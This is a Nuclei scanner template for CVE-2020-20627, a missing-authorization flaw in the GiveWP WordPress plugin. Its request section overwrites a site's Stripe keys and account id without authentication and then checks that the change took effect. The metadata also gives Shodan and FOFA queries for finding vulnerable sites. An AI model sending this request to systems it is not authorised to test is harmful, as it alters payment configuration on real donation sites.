id: CVE-2020-20627 info: name: GiveWP - Missing Authorization to Settings Update author: daffainfo severity: medium description: | GiveWP plugin through 2.5.9 for WordPress contains an unauthenticated settings change caused by insecure access in includes/gateways/stripe/includes/admin/admin-actions.php, letting attackers modify settings without authentication, exploit requires no authentication. impact: | Attackers can modify plugin settings without authentication, potentially leading to unauthorized transactions or configuration changes. remediation: | Update to the latest version of GiveWP plugin that addresses this issue. reference: - https://blog.nintechnet.com/multiple-vulnerabilities-fixed-in-wordpress-givewp-plugin/ - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/give/givewp-259-missing-authorization-to-settings-update - https://nvd.nist.gov/vuln/detail/CVE-2020-20627 - https://github.com/20142995/nuclei-templates classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N cvss-score: 5.3 cve-id: CVE-2020-20627 cwe-id: CWE-306 epss-score: 0.02812 epss-percentile: 0.86407 cpe: cpe:2.3:a:givewp:givewp:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 2 vendor: givewp product: givewp framework: wordpress publicwww-query: "wp-content/plugins/give" shodan-query: http.html:"/wp-content/plugins/give/" fofa-query: body="/wp-content/plugins/give/" tags: cve,cve2020,wp,wordpress,wp-plugin,givewp,unauth,intrusive,vkev flow: http(1) && http(2) variables: stripe_publishable_key: '{{randbase(8)}}' stripe_publishable_key_test: '{{randbase(8)}}' stripe_user_id: '{{randbase(8)}}' stripe_access_token: '{{randbase(8)}}' stripe_access_token_test: '{{randbase(8)}}' http: - method: GET path: - "{{BaseURL}}/wp-admin/admin-post.php?page=give-settings&stripe_publishable_key={{stripe_publishable_key}}&stripe_publishable_key_test={{stripe_publishable_key_test}}&stripe_user_id={{stripe_user_id}}&stripe_access_token={{stripe_access_token}}&stripe_access_token_test={{stripe_access_token_test}}&connected=1" matchers: - type: dsl dsl: - 'status_code == 200' - 'len(body) == 0' condition: and internal: true - method: GET path: - "{{BaseURL}}" matchers-condition: and matchers: - type: word part: body words: - '/wp-content/plugins/give/' - '"base_country":' - '"stripe_card_update":' - '"stripe_account_id":"{{stripe_user_id}}"' condition: and - type: word part: content_type words: - 'text/html' - type: status status: - 200 # digest: 4a0a0047304502210093a1eb41eae4dab5b97cb49f0ebf722a699edc4ff27a277ce0f684ec9c6b806302202f2c7fb4c4f4a39e5bc35f55ef0509c98744ac03b47e11e3fa32ddedab808682:922c64590222798bb761d5b6d8e72950